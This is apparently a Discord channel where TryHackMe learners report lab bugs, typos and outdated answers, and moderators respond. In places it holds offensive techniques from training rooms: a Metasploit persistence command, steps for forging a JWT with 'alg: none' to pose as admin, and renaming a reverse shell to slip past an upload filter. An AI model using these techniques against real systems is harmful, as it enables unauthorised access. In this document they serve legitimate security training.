bleak vine
placid aspen
quaint sparrow
#

This sort of bug appears every now and then.

placid aspen
#

There was a change made to clarify to folks that if you are a VPN user (and not an AttackBox user) that you will need to use -Pn since the Windows Firewall is treating the VPN traffic as public traffic and blocking ICMP.

quaint sparrow
#

Isn't that the point?

#

I mean. If people can't read error codes, that's on them..

placid aspen
# quaint sparrow Isn't that the point?

Right, but as a beginner room teaching you Nmap, you get different results from using the AttackBox versus the VPN and since there is a task question directly related to it... well..

placid aspen
#

the firewall rules could be updated to recognize the VPN subnet as private, but with the older room it doesn't necessarily look like that's an option for the room maintainers.
Error codes and different results for beginners just gets them frustrated while learning. This one's my fault too.. First it was the local hosts file change that all the walkthough-followers are getting confused on and now this.. maybe I should just let sleeping dogs lie.. haha

#

Close enough isn't good enough for some of us. I always tell people, the difference between a 0 and 1 can sometimes determine whether my weekend is wasted troubleshooting or having an outage.

quaint sparrow
#

I disagree.

This room was a perfect room for VM users to experience reading error codes and maybe adding -Pn to the command.

placid aspen
#

Could certainly see that as well. Guess its just a matter of when to take the training wheels off. It's not a classroom setting or any way to directly ask questions. So with self-paced, you're left to figure it out on your own or to look for outside help, like the writeups that people do. And if you get different results than the writeups, or don't recognize that difference yourself, then you can flounder.... Since it was part of the beginner's path, I was thinking that the less variation the better. Even if this was past the halfway point and you'd become more familiar with Nmap at that point, it might be ok.. but it's placement this early in an independent learning path had me thinking that it needed more clarity for the future. Oh well.. just wish it didn't cause it to break.

obsidian kiln
acoustic basalt
unborn pulsar
green glacier
#

Im having the same issue with nmap! I'll check again and hopefully it's fixed soon!

quaint sparrow
#

Or the attackbox using Arp to ping?

livid escarpBOT
#

Gave +1 Rep to @obsidian kiln (current: #9 - 726)

glacial niche
#

Not a bug but Cisco Talos Intelligence whois is not providing answer anymore for the Task #6 of the Room: Threat Intelligence Tools.
Q: What is the customer name of the IP address?
I can't provide the screenshot, dunno y. haha

#

nvm, just use whois in CLI, not Cisco Talos.
Thanks!

unborn pulsar
last loomBOT
obsidian kiln
# quaint sparrow Or the attackbox using Arp to ping?

An ARP ping would definitely do it -- from memory nmap doesn't make a distinction when it does the host check (i.e., if either work, it calls it up).
I'm not sure if the discrepency is due to the private / public network firewall settings on the VM or if nmap is literally just falling back on ARP -- from memory the former. I think we did test this years ago

quaint sparrow
obsidian kiln
quaint sparrow
pale spoke
obsidian kiln
quaint sparrow
#

Which is the advice I'd give everyone, when they needed help with this question, and that's why I think the question was fine.

#

Also inculuded the stats.

obsidian kiln
#

Now that's interesting, so it is that it's falling back on ARP. In that case, I'll shove the question back in but add a hint

quaint sparrow
#

For Nmap, yes.

Arp will kick in due to the machines being on the same network.

obsidian kiln
#

Aye, exactly

#

Did think it was a bit weird for me to have forgotten to explicitly block something I was relying on for a question...

#

Can you tell how long it's been since I built this room? Kekw

quaint sparrow
#

~~1138 days ~~ kekw

flat socket
#

for some goofy reason the NMAP room is showing up as 99%, while it's completely finished

flat socket
#

Thanks thanks :)

worldly lark
#

Burpsuite room task 7 isn't showing completion after answering all questions

gaunt thicket
#

What's up hackers!
I'm currently doing the Linux Modules and I'm precisely in the task of the xxd command.

The problem is that I'm spotting loads and loads of basic English mistakes.
For example, instead of saying "sought" which is the past tense of the vert to seek, it's written "seeked".

I mean no disrespect of course, as it's not an easy thing to create a room for people to learn.
However, I'm not even a native English speaker and I've been spotting some English mistakes.

I just wanted to provide you with this quick feedback as a THM user.
The THM platform is the best out there and should be immaculately spotless.
Thanks!

charred spoke
#

There is a bug on the VM of the Yara room that makes underscore characters not shown on screen

oblique panther
#

.

quaint sparrow
unborn pulsar
#

Welcome to the club - I'm used to US English, but my manager is in the UK. 😅

cobalt barn
#

I checked Merriam-Webster

#

The couple of things I found for it said that it was highly informal

quaint sparrow
#

Sought is the proper past tense.

Seeked is more used in dialect.

cobalt barn
#

Not sure I can get behind this one lol

quaint sparrow
#

It's more commonly used in spoken English, than written.

shrewd oriole
#

Can someone double check my work on https://tryhackme.com/room/threatinteltools Task 6 and see if the domain has definitely changed? I couldn't find the expected answer with any of the normal options (Talos, AbuseIPDB, or WHOIS)

quaint sparrow
#

Whcih answer are you trying?

shrewd oriole
#

Ah my bad, Task 6, the associated domain name question

sturdy dagger
#

Is this room bugged? I already started attackbox and the IP is incorrect. How do I connect to the Kibana instance machine?

final raptor
shrewd oriole
#

I don't know if this counts as a bug, but the Complete Beginner path has the old version of 'Burp Suite: The Basics'. It looks like comparable content to the new version, and I would imagine it would be nice for beginners to get credit on that rather than have to effectively repeat the room Nvm, looks like someone else found that last night and Scrubz already sent up the flare in #subscriber

raw crypt
vestal moon
#

I believe I'm doing everything right. I was able to login a couple of hours ago. But then my machine restarted and now I am facing this bug.

I'm doing AoC2023 Side Quest 4, The Bandit Surfer.

#

@eternal kite Can you help?

quaint sparrow
vestal moon
#

It's probably a room bug. I'm not sure anyone but the admins or staff will be able to help

hazy tiger
raw crypt
pale spoke
raw crypt
cloud drum
#

Linux Privilege Escalation room, task 8 (Capabilities) tells us to find a binary with a setuid capability to open flag4.txt (located in ||/home/ubuntu/flag4.txt||), but ||the flag file has chmod 644 making it world-readable, which bypasses the intended solution which is to use e.g. /home/karen/vim = cap_setuid+ep ||

primal wedge
tall elbow
#

Hi i have same problem

fierce birch
#

In room https://tryhackme.com/room/exploitingad, Task 2, "Exploiting Permission Delegation", there is mention of THMJMP1, which I believe should be THMWRK1. The -JMP1 name does not resolve, given the setting of "systemd-resolve --interface exploitad --set-dns 10.200.93.101 --set-domain za.tryhackme.loc" of Task 1. (Using the Attackbox.)

bright fractal
#

are the attacking ICS rooms no longer valid? there is something hinky with the python scripts

mortal turtle
#

requesting help with wording from a room. I know the answer but the way its requested to be entered is not as logical

quaint sparrow
#

Why not just post it here? It's literally what the channel is for.

north berry
quaint sparrow
last loomBOT
north berry
livid escarpBOT
#

Gave +1 Rep to @quaint sparrow (current: #2 - 1857)

north berry
worthy trout
#

I'm having trouble with the Windows Privilege Escalation Room, and I'm unable to reset my progress in the room

unborn pulsar
misty gull
gloomy shoal
#

For Vulnerabilities101 (https://tryhackme.com/room/vulnerabilities101) - task 4, question 1 (about NVD), it seems the NVD website changed so much that it's no longer possible to find the answer in the demonstrated way. I then tried to find the answer using the newer NVD search API, but the answer I found there didn't work. I also looked at a few writeups to find the answer, but this answer was not accepted either

livid escarpBOT
#

Gave +1 Rep to @unborn pulsar (current: #20 - 350)

twin bay
placid bay
quaint sparrow
#

Yeah, its private, the link should be removed

Cc @glad badger

sleek copper
#

how long does it take the network to reset in the Lateral Movement and Pivoting room

oblique panther
#

.

unborn pulsar
frank obsidian
#

Disgruntled at task 5 question 4

the executes doesnt contain the goodbye.txt needed to search it up so the os-update.sh doesnt contain the output file 🙂

old robin
#

Room: Blaster
Task 3
Internet Explorer history doesn't show the search history. I checked 3 different walkthroughs to make sure I was looking in the right place.

Edit: It's not a big deal since the hint gives the answer.

hazy tiger
placid granite
#

Howdy. Noticed a small error possibly.

“Walking an Application” task 3 when looking at the page source for the website, it shows an example of “You’ll see the contact page on line 31”

However it seems to be on line 28. Nothing that breaks the room just thought I’d let someone know 😁

clear hornet
#

That's strange, it is on line 31 for me

placid granite
#

🤔

clear hornet
#

Guess it would be 28 if you didn't count the comments

#

¯_(ツ)_/¯

placid granite
#

Seems like I cant post an image

#

🤷🏻‍♂️

clear hornet
#

You need to verify to do so

last loomBOT
placid granite
#

Ayoo, you are a real one Hiro, thanks

clear hornet
placid granite
#

Disregard

#

I sure was on /news 🤦🏻‍♂️ been a long day lol

clear hornet
#

lol, nw, that would explain the difference then

placid granite
#

Yeah haha

ornate solar
ornate solar
#

@quaint sparrow how can I report this "misleading" false info please?

quaint sparrow
ornate solar
livid escarpBOT
#

Gave +1 Rep to @quaint sparrow (current: #2 - 1905)

ornate solar
oblique panther
#

.

arctic inlet
#

https://tryhackme.com/room/introtonetworking

Task 8 : [Networking Tools] Dig
Where is the very first place your computer would look to find the IP address of a domain?
local cache

Have searched for the answer. its all the same but it wont work

obsidian kiln
arctic inlet
#

oh im damn. i dident understand the question right. thats why i searched for the answer. sorry for that

obsidian kiln
oblique panther
#

Yes i guess, firstly is the host file, secondly is the local cache and finally is the dns right ?

arctic inlet
quaint sparrow
obsidian kiln
#

I don't think so?

arctic inlet
#

No im just a happy person. But sorry for that inconvenient emoji

quaint sparrow
#

Might just be me, it did read condescending.

My apologies.

acoustic basalt
obsidian kiln
final raptor
#

think he was being ironic

#

scrub opinion may or may not be valid but i agree with muiri here, i think hes the one most likely to have found the correct answer on this one 👍

quaint sparrow
final raptor
#

dont be jalous ahah

#

i've seen u contributed to some rooms urself, u will create many more and get promoted thm staff i beleive in u & I'm rooting for you, soon top 1 in /giverep takeover

stuck forge
#

Hi,
I think I've found a typo in room https://tryhackme.com/room/abusingwindowsinternals, task 4.

In the second code block, it reads

while (Thread32Next( // Obtains the next thread in the snapshot
    snapshot, // Handle of the snapshot
    &threadEntry // Pointer to the THREADENTRY32 structure
)) {

The typo is in "snapshot" handle which should be typed "hSnapshot".

oblique panther
#

Wow, good catch.

near acorn
#

I know this has probably been reported before, but could someone add the 'dev-type tun' bit to the ovpn file for #enumerating-ad if possible? 😅

ruby nymph
#

In a few rooms If I copy paste the flag or answer it doesn't work and I have to type it out, any fixes?

dull girder
final raptor
eternal plank
#

issue in container hardening room - error when executing command for analyzing struts2 image and container.tar filesystem

[0030] ERROR failed to fetch latest version: Get "https://toolbox-data.anchore.io/grype/releas
[0060] WARN unable to check for vulnerability database update
1 error occurred:

  • db could not be loaded: the vulnerability database was built 5 days ago (max allowed
    age is 5 days)
blissful lichen
#

is there a bug currently with breachad not showing in the "Breaching AD" room (Connecting from an AttackBox that I opened from inside the room and I aldo tried resetting the network)?

fallen fjord
#

Something is definitely wrong with the AWS Cloud environments and the room "AWS VPC - Attack and Defense".
Got locked out of the environment for a whole week until manual fixes, I managed to finish the room today and now every click on the button "Generate environment" or "Reset environment" just goes into a 502 Bad Gateway response code.

I guess that without any manual intervention i'll be once again locked out of the environment for the time being.

#

Every time it's the same issue : you click on the generate environment button in that room, get an error message stating that something wrong happened while creating the environment and then you cannot do anything, so I guess it can be easily reproduced

crude kiln
#

So I found this... The BurpSuite room Intruder Task 10 mentions that the length should be shorter for the login creds... I have ran this thing like 30 times... I have not gotten the length to be different for the " Correct Creds." I used my bud Google and figured out that the answer was right in front of me all this time but the burpsuite was not working correctly. https://tryhackme.com/room/burpsuiteintruder?path=undefined Attached is the output that i was receiving time and time again. Just bringing it to the Dev's attention. Line Num:50 should be different, but its not...

mint drift
#

hey i found a way to get root access in the recovery room, don't know if it's the way i should do it

#

i think yes, nevermind 🙂

urban hearth
#

I have a bug on the windowseventlog room https://tryhackme.com/room/windowseventlogs
I can't see the questions in the room i tried to change browser clear cache and private nav but the bug is still there.
It's on my side or is there anyone as the same ?

weary urchin
#

https://tryhackme.com/room/uploadvulns could use a tiny update 🙂 Also, even if I delete js from the match, I can't see the .js file.
I googled this but didn't find a solution. Might it have changed more than this?

#

I'll restart burp, that might be the thing...

weary urchin
dusky junco
twin bay
calm frigateBOT
#

Done!

stone sail
#

There is a problem where anyone can get root to your servers contact me directly dont want to show others because of the sensitivity. Thankyou

topaz thorn
last loomBOT
urban hearth
livid escarpBOT
#

Gave +1 Rep to @dusky junco (current: #8 - 802)

livid escarpBOT
#

Gave +1 Rep to @topaz thorn (current: #92 - 67)

tame karma
#

Not much of a bug but it's something. In Wireshark: Traffic Analysis, Task 11. It references two rooms but they aren't linked. (Warzone 1 and Warzone 2). They should be linked

wheat fractal
#

Hi, I'm doing this room right now and I'm getting the same error: KRB-ERROR (16) : KDC_ERR_PADATA_TYPE_NOSUPP

#

/room/adcertificatetemplates

crystal bolt
dim lark
#

Hi, I am trying to join this room but i can't
is there any solution??

dusky junco
dim lark
#

i once had 100+ streak

dusky junco
#

You need to have a minimum of 7 at the time of joining the room

dim lark
#

ok i see

#

thank you

waxen badger
#

Ya, think the "Virtualization and Containers" room is bugged beginning on or about Task 6. The room's web server VM appears to start and be accessible but the terminal is only quasi functiong. Necessary commands like 'minikube' and 'kubectl' aren't recognized. Has anyone found a solution?

left citrus
#

Hi, I started making the room: https://tryhackme.com/room/breachingad last week, today I wanted to continue but it seems to be bugged. I enter the room and it asks me to join again, but in the process it shows 35% complete.

#

Join Room does nothing

#

I'm subscribed

clear hornet
opaque rune
#

Hi, i do the room name « intro to logs » and i can’t submit my answer in section 4 about command line who is being executed

thorn plaza
#

Hi, I'm doin lookback room, but unable to exploit it with metasploit, even performing with same payload as other users has used in their writeups

#

I think the machine is quiet not behaving like it should, that's why exploit is failing. So pls check and let me know

shadow scarab
#

hi, I'm trying out the rust room (https://tryhackme.com/room/rust?path=undefined). I feel that the example given under secure in the introduction task is not quiet right. the example shows the concept of generators which exhaust after one use. the function call is not the one modifying the value as such. its the inner call (_ _next__) on the object which does. I kindly request the room creator/maintainer to modify the example to avoid confusions.

dull girder
#

Hi all, I am doing the Benign challenge room and am having an issue with the last question. The C2 server link that I am suppose to access to give me the flag is giving me a 404 error.

wheat fractal
marsh anvil
#

Windows Internals room - Task Interacting with Windows Internals - when you enter the flag like it is on the machine running exe file to check popup output the capital letter H in the flag is actually a small letter h. But when you submit the flag with h, at the end it is displayed as H NotLikeThis when you paste flag with H it show error.

crystal bolt
vagrant pine
#

I was doing https://tryhackme.com/room/obfuscationprinciples, task 4. I uploaded the PowerShell snippet without any modifications (on /challenge-1.html) and got the flag immediately, even though the output says sth about "fail":

The file ps.ps1 has been uploaded.fail!
Warning: unlink(C:\Users\Administrator\Desktop\pass-1.txt): No such file or directory in C:\xampp\htdocs\upload-1.php on line 42
old robin
#

Room: Easy Peasy - https://tryhackme.com/room/easypeasyctf
Task 2 - 2nd Flag

I've found the ||md5|| hash hidden in ||/robots.txt||
But I don't think there are any rainbow tables available to get the result. I've gone through 6 writeups and they all use the same website https://md5hashing.net/ which is no longer online.

I used hashcat and john with all the wordlists I could think of, but obviously none of them would have flag{randomString} in them. I've tried the rainbow tables on all of the websites in the picture without luck.

I can give the hash if you wanna try yourself.

unborn pulsar
wheat fractal
#

I think the certificate is out of date again in the persisting AD room

lucid rock
#

I'm not entirely sure if I'm just doing something wrong or not but following:

OWASP Top 10 - 2021 on Task 20: https://tryhackme.com/room/owasptop102021

An issue I have after copying the original cookie is that the string contains an invalid character, manipulating almost any part of the value itself returns something but im not sure if doing so causes the cookie then to be invalid because its not what the website itself thinks it should be getting?

Token/Cookie:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiZXhwIjoxNzA4MjAzOTc0fQ.k_4v9TGt8iYEl0tkNyufO6RciDeS0T1mHWRPKaTRRvA

I've tried to just do as much troubleshooting as I can but I'm simply not sure if I'm missing something really simple here

#

here's the image of what happens when i try and put the cookie into the base64 decoder

sonic edge
clear hornet
lucid rock
livid escarpBOT
#

Gave +1 Rep to @clear hornet (current: #43 - 162)

lucid rock
#

@clear hornet still get an error unfortunately-

clear hornet
lucid rock
#

ok so, upon entering the site w/ the proper starting login- opening the dev console gives this as the cookie

#

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiZXhwIjoxNjY1MDc2ODM2fQ.C8Z3gJ7wPgVLvEUonaieJWBJBYt5xOph2CpIhlxqdUw

#

and after running it in the decoder this is the error that i get- and removing one of the characters does fix it- after which i change the it from

{"typ":"JWT","alg":"HS256"}{"username":"guest","exp":1708215946}@ÚAfëUß.8ýú@tµhGºB½iÊÌ#y

to

{"typ":"JWT","alg":"none"}{"username":"admin","exp":1708215946}@ÚAfëUß.8ýú@tµhGºB½iÊÌ#y

and re-encode it, and putting the string given back into the console it just says its wrong

clear hornet
lucid rock
#

removing the signature still comes back as it being wrong

#

are the dots important? i noticed trying to encode it, gets rid of them, and trying to figure out where to put them (one at the end where the signature would've been and one to seperate the header from the payload) i'm unable to see where the header vs payload dot would go? would that be what's causing it?

clear hornet
lucid rock
livid escarpBOT
#

Gave +1 Rep to @clear hornet (current: #43 - 163)

gray inlet
#

Think there might be a bug in terms of answering the last question of the Benign Room to where it is supposed to be https://controlc.com/548ab556.

quaint sparrow
gray inlet
#

@quaint sparrow Here you go.

quaint sparrow
gray inlet
#

Interesting. Think there might be something wrong with the back end.

gray inlet
#

Any luck?

clear hornet
gray inlet
#

That’s weird.

#

What was the correct input?

old robin
gray inlet
#

@clear hornet

clear hornet
# gray inlet What was the correct input?

Not really sure we are supposed to just share answers here. Have you tried to go through the room again and make sure you are doing it properly? Perhaps you could send a screenshot of where you got your answer and I could help you move from there to the correct one?

rugged canyon
#

as it technically not a bug probably

clear hornet
#

oh yeah we should do that

gray inlet
#

Okay, I have posted my question there.

wanton quail
#

Hey there, I am in the Learn the Linux Fundamentals Part 2: Permissions 101. And when I launch the attackbox and use the terminal I am not getting the same directories as the guided video. And I have closed the attackbox before and relaunched it and that didn't work either. Is there anything else I could try clear this up or is it a bug?

quaint sparrow
wanton quail
livid escarpBOT
#

Gave +1 Rep to @quaint sparrow (current: #2 - 1987)

acoustic basalt
#

Hi, i can not see the KoTH page to submit flag

#

event the completed KoTH showing the same empty page

hazy tiger
#

Oh I see it

acoustic basalt
#

Same

hazy tiger
#

Let me report

acoustic basalt
#

is that because i patch the rabbit hole ?

hazy tiger
acoustic basalt
#

oke ... hope got to fix that soon ... thank you

snow remnant
#

Hey has anyone completed SSDLC?

#

I'm on the last task and entered the flag correctly, but it doesn't seem to be working

snow remnant
#

can't it be a bug/issue with the room, if Im entering the flag correctly, but it's not going through?

hazy tiger
snow remnant
#

okay I haven't been getting an answer on it and I'm just frustrated that the last question isn't going through haha

#

I'll wait for an answer in room-help then

#

thank you

eager bobcat
#

From the report you have the MD5, search it in VirusTotal webpage and you will get the SHA256 there 🙂

wheat fractal
#

It should be the one in the windows-binaries tool; nc.exe

#

and rename the ncat.exe to nc.exe doesnt work

#

so you need to get the one from the windows-binaries

#

For more information, dm me staff :))

calm frigateBOT
#

:hammer: nattram#0 has been banned.

junior shore
#

Room Malbuster Q3, the answer 51 does not work. The answer to this question is also subject to change over-time in virus total

#

59 is current in virus total and that does not work

#

might be worth removing the question as the number will change over-time in virus total and people will most definitely get it wrong

quaint sparrow
junior shore
gentle tree
#

Hi there. I don't know why but in WebOsint room, even though my own reasearch and every writeup I could possibly find shows ||6613102107|| as an answer for Q2 Task 2 tryhackme still can'r accept it. Is it the room problem or am I doing something wrong?

harsh dawn
quaint cobalt
prisma delta
dusky socket
#

https://tryhackme.com/room/powershell
T3Q1
You are tasked to find a predefined file, the file in reality ||has double extension (.txt.txt)||

T4Q4
the provided hint should be for T4Q6 and/or T4Q7 for network info is not the same as group info.

T6
We are tasked to find all open ports in the range of 130-140. Correct answer is ||just total count of ports in range, instead of open ports|| as was tasked.

dusky socket
#

Surprised that the room is 1400+ days old with ~34k completions and still running into bugs like that, but I guess no one has reported them thus far, and it's just been shrugged off by everyone. coolguy

whole tartan
#

Same problem here 2.5 years later.

#

@vagrant latch

heavy tusk
#

In soc level 1 learning path
Snort live attack challenge
At the first task the rule have to drop the connections to port 22 then you will get the flag but when you drop the packets to port 80 you also receive the flag

#

Why ?

rich rover
#

Mysql port is not open on internal network host. Machine name -> Contain Me

late oxide
#

https://tryhackme.com/room/securesdlc
Task7 Security Assessments

When do you typically carry out Vulnerability Assessments or Pentests? -- question
The answer is this: xxxxxxxxxx x xxxxxxxxxxx .
But the correct answer would be xxxxxxxxxx xxx xxxxxxxxxxx this.
"and" instead of "a" would be the fix
I don't know if this is a bug sry if this is actually not a bug.

unborn pulsar
rich rover
weary urchin
#

In aoc 23 day 11 when you start the box the tools, whisker and rubeus, are there as they should when you start the box, but if you're not quick enough they are removed. If you restart the box and do all the commands at once it works, but you should have the time to read and ponder, right 🙂

quartz rose
rugged canyon
#

good spotting

strange parcel
worn flare
#

The Task #7 in UploadVulns room says "Having reloaded the webpage to put the filter back in place, let's take the reverse shell that we used before and rename it to be called "shell.jpg". As the MIME type (based on the file extension) automatically checks out, the Client-Side filter lets our payload through without complaining:", however this is not true for java.uploadvulns.thm filter script, which still needs to be disabled before uploading the jpg file.

placid abyss
wheat fractal
#

Flag13 in Windows Local Persistence only works when you revert the steps from flag12. So you have to delete C:\windows\revshell.exe from Userinit.

oak sinew
frank vortex
livid escarpBOT
#

Gave +1 Rep to @late oxide (current: #2022 - 1)

sudden solstice
#

I think there is something wrong with the question "When was the SSL certificate the phishing domain used to host the phishing kit archive first logged? (format: YYYY-MM-DD)" in the room https://tryhackme.com/room/snappedphishingline

I have checkt VirusTotal, crt.sh and other resources, but can't geht the right answer.
I have also checked the writeups, but it seems like the question was changed.

viral fable
#

Hey all,
I'm unable to deploy linux machine due to password and it says permission denied please try again.
https://tryhackme.com/room/linuxfundamentalspart2
Im in the above task

It asks to use tryhackme and Im using the same but denying.
Any help

quaint sparrow
viral fable
#

My bad! Thanks tho @quaint sparrow

livid escarpBOT
#

Gave +1 Rep to @quaint sparrow (current: #2 - 2040)

sudden solstice
quaint sparrow
livid escarpBOT
#

Gave +1 Rep to @quaint sparrow (current: #2 - 2041)

prime abyss
#

Hello, in Burp Suite Basics room task 13, we need to download PortSwigger Certificate from Burp Suite.
The room tells you to go to http://burp/cert which did not work for me. However, what worked was to go to http://burp or http://burpsuite and click the CA Certificate button.

obsidian kiln
misty gull
raw bison
#

The target machine has the same resources regardless if you connect to it via your own VM or the Attackbox.
So to me this sounds more like an issue on your end, like having had multiple VPN connections or a MTU value that's not working well on your end 🙂

ruby nymph
brazen zephyr
#

this machine is really really slow like unplayably slow

#

for me

#

for me

brazen zephyr
#

????

brazen zephyr
#

my bad

#

it was my vpn file

ruby nymph
wintry tartan
#

Just to mention, in the ConvertMyVideo Room, the yt_url call is taking too much time, either not returning anything or returning value after too long. Pretty sure this needs to be checked!!

leaden fossil
#

@last loom The "Unattended" room has waaaay to little resources. It can barely crawl. I used 10minutes to open RegistryExplorer, and autopsy is barely usable.

I love the rooms tasks, but the VM is barely functional

unborn pulsar
leaden fossil
livid escarpBOT
#

Gave +1 Rep to @unborn pulsar (current: #15 - 470)

unborn pulsar
#

Someone should respond to your concern though when they see or come across it.

leaden fossil
#

ok, so I should just leave it here, hoping that some of the staff catch it? 😅

raw bison
livid escarpBOT
#

Gave +1 Rep to @leaden fossil (current: #2030 - 1)

worn flare
#

hi all, I found a bug in the room "Blaster": https://tryhackme.com/r/room/blaster
@heavy spade and @dusky junco
[SPOILER on deprecatad option]

Original request:
`Last but certainly not least, let's look at persistence mechanisms via Metasploit. What command can we run in our meterpreter console to setup persistence which automatically starts when the system boots? Don't include anything beyond the base command and the option for boot startup.

||run persistence -X||

Run this command now with options that allow it to connect back to your host machine should the system reboot.`

Metasploit 6.3.55-dev output:

`meterpreter > ||run persistence -X||

[!] Meterpreter scripts are deprecated. Try exploit/windows/local/persistence.
[!] Example: run exploit/windows/local/persistence OPTION=value [...]
[-] The specified meterpreter session script could not be found: persistence`

devout bolt
#

hey guys, this room doesn't work at all....https://tryhackme.com/r/room/layer2 - like the VMs boots but I get no info about the hosts, just the flood traffic. Tasks 1-6 have a diff vm than 7-10. I cant seem to capture any of the data its asking for and i'm following everything to the letter. Super interested in route/arp/dns poisoning so thats kinda why I'm in that room lol.

unique wind
#

having same bug again with KDC_ERR_PADATA_TYPE_NOSUPP in the active directory persisting room. I followed instructions here to RDP to THMDC but cannot request new cert :

#

why are these active directory rooms so horribly bugged .... 😦 I am trying to solve all this for weeks now

median coral
devout bolt
livid escarpBOT
#

Gave +1 Rep to @median coral (current: #17 - 411)

unique wind
#

guys is it possible that some people are just having fun destroying networks?

#

again I try the persisting-ad room, i can do things for like 10 minutes and then suddenly DC is not acting as DNS anymore, machines are not found

raw bison
leaden fossil
#

Hi, I was able to finish the room, but it took forever to do anything. I had to stand up and take a walk for each action I did. It's wonderful that the room has more resources now 🙂

PS: I love the DFIR rooms on TryHackMe. They really helped me during preparation to a collage exam this week.

raw bison
unkempt latch
#

hey

buoyant night
cinder spire
hearty gulch
#

Typo https://tryhackme.com/r/room/tmuxremux Task 2 last question
"How to kill all tmux sessions accept the one currently in use? With the name "notes"."
Should be
"How to kill all tmux sessions except the one currently in use? With the name "notes"."

Have a good one

hearty gulch
#

Another Typo in https://tryhackme.com/r/room/tmuxremux Last sentence in the reading part
"For the join-pane commands adding -v on the end fuses the two panes together horizontally. Adding -h on the end of the join-pane command fuses two panes together vertically."
Should be
"For the join-pane commands adding -v on the end fuses the two panes together vertically. Adding -h on the end of the join-pane command fuses two panes together horizontally."

pale spoke
#

I don’t think a typo would be considered a bug

quaint sparrow
pale spoke
#

Oh

#

Guess I was wrong

craggy sun
#

small issue with https://tryhackme.com/r/room/webosint - the format of the answer in Task 7 is confusing: I've spent quite some time on it, finally opened a writeup and turns out the IP owner (the common link) used to be displayed as Liquid Web L.L.C, now it's just LIQUIDWEB. When I typed Liquid Web into Google, they use the name Liquid Web (without L.L.C) basically everywhere, I've found only one occuence of Liquid Web L.L.C. Not really sure if that's a bug, but definitly looks like unintended additional difficulty

#

Ok now I see they are displayed as Liquid Web, L.L.C on ipinfo, so I guess I could have got that after further reasearch

sterile scarab
#

I believe that there is an issue with the way that Enumerating Active Directory is set up. When entering the room and launching the web-based AttackBox, the .ovpn file for the "enumad" interface does exist, but using "ip a" or "ifconfig" does not list the "enumad" interface. When using the "systemd-resolve" command to configure the DNS to the THMDC, an error occurs stating "enumad" doesn't exist as an interface. I have tried waiting multiple days between attempts, restarting the Box and the network, resetting room progress and formally leaving the room, but none of it works. It seems that the other AD networks all work perfectly fine however.

cinder spire
unborn pulsar
pale spoke
quaint sparrow
weary urchin
raw bison
gloomy zealot
cinder spire
quaint sparrow
last loomBOT
topaz thorn
#

Is this intended or not? Wireshark basics room Task 5. Can be very difficult for users to read

glad badger
unborn pulsar
marsh gazelle
#

Not really a bug, but there is a small mistake in the "Exploiting Active Directory" room, in the introduction:

unborn pulsar
gloomy zealot
quaint sparrow
gloomy zealot
quaint sparrow
rancid hound
proper meadow
proper meadow
obsidian kiln
#

That will not work.
burp**/**cert (which is the one I'm seeing in that task) will work and is correct.

rancid hound
#

didnt work for me

umbral girder
#

Hey, wanted to report a bug on https://tryhackme.com/r/room/threatinteltools on task 6 Cisco Talos Intelligence when i search the whois tab i get an error "We can't find any results. Possibly IP address is unallocated or its whois server is not available."

obsidian kiln
weary urchin
limpid thicket
#

ayo any admin here ?

#

for CTfF collection Vol.1 many flags are in the source code even for other qsts that are related to decoding

#

exactly 10 flags

rancid hound
rancid hound
rancid hound
obsidian kiln
#

Np 🙂

cinder spire
unborn pulsar
last loomBOT
cosmic talon
#

Hi, I don't know if it belongs here, but in Kenobi room https://tryhackme.com/r/room/kenobi is little confusing mistake. Command "smbget -R smb://10.10.123.13/anonymous" is there as command for recursively download. Instead "--recursive" is there "-R" what is alias for "--name-resovlve".

hollow whale
#

Hi - in the Introduction to Cryptography in the Introduction to Security Engineering learning path I started an attackbox for Task 2 to decrypt quote02 using OpenSSL. It seems the attackbox has a different version of OpenSSL than what was used to encrypt the quote02 file because I keep getting an error saying it was a bad decrypt

twin bay
#

On https://tryhackme.com/r/room/rfirmware, Task 3 Step 4 refers to /opt/Dumping-Router-Firmware-Image/...., however this path won't exist since in Task 1 we cloned the repo to /opt/Dumping-Router-Firmware/ (Without the -Image) resulting in the step failing to run.

twin bay
supple wind
topaz thorn
#

Been raised with staff earlier, known issue

supple wind
livid escarpBOT
#

Gave +1 Rep to @topaz thorn (current: #68 - 93)

hardy compass
plain notch
dusty marsh
#

debug1: load_hostkeys: fopen /home/kali/.ssh/known_hosts2: No such file or directory
debug1: load_hostkeys: fopen /etc/ssh/ssh_known_hosts: No such file or directory
debug1: load_hostkeys: fopen /etc/ssh/ssh_known_hosts2: No such file or directory
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug1: kex: algorithm: curve25519-sha256
debug1: kex: host key algorithm: ssh-ed25519
debug1: kex: server->client cipher: chacha20-poly1305@openssh.com MAC: <implicit> compression: none
debug1: kex: client->server cipher: chacha20-poly1305@openssh.com MAC: <implicit> compression: none
debug1: expecting SSH2_MSG_KEX_ECDH_REPLY ......stuck here cannot connect to ssl . can any1 help

quaint sparrow
quaint sparrow
topaz thorn
dry nova
unborn pulsar
# dusty marsh debug1: load_hostkeys: fopen /home/kali/.ssh/known_hosts2: No such file or direc...

Do look at the suggestion described here:

https://unix.stackexchange.com/questions/722954/ssh-stuck-at-expecting-ssh2-msg-kex-ecdh-reply

I suggest doing a Google search on the error message to help you troubleshoot any issue you may encounter.

dusty marsh
livid escarpBOT
#

Gave +1 Rep to @quaint sparrow (current: #1 - 2158)

uncut linden
#

Hello everyone, I've been trying to solve the room GREP for two days and it looks like something is missing to solve it. we're supposed to use osint skills ot find an api key but it looks like we can't find anywhere maybe a github account has been removed or something? Am I wrong ? thanks in advance for answers

Room : https://tryhackme.com/r/room/greprtp

TryHackMe

A challenge that tests your reconnaissance and OSINT skills.

quaint sparrow
uncut linden
livid escarpBOT
#

Gave +1 Rep to @quaint sparrow (current: #1 - 2159)

quaint sparrow
uncut linden
graceful hound
dry nova
graceful hound
valid dawn
graceful hound
lone beacon
#

There is an issue with H1 in KoTH. I entered my username in king.txt and it registered 0 king time.

wheat fractal
#

In this room the OSITN Website Named DeepPaste is not avaliable now

gleaming shadow
#

Oh that part, I never got that working and don't know if it's intentional or not

quaint sparrow
gleaming shadow
#

Yeah, it's been that way a while now

thorny oasis
#

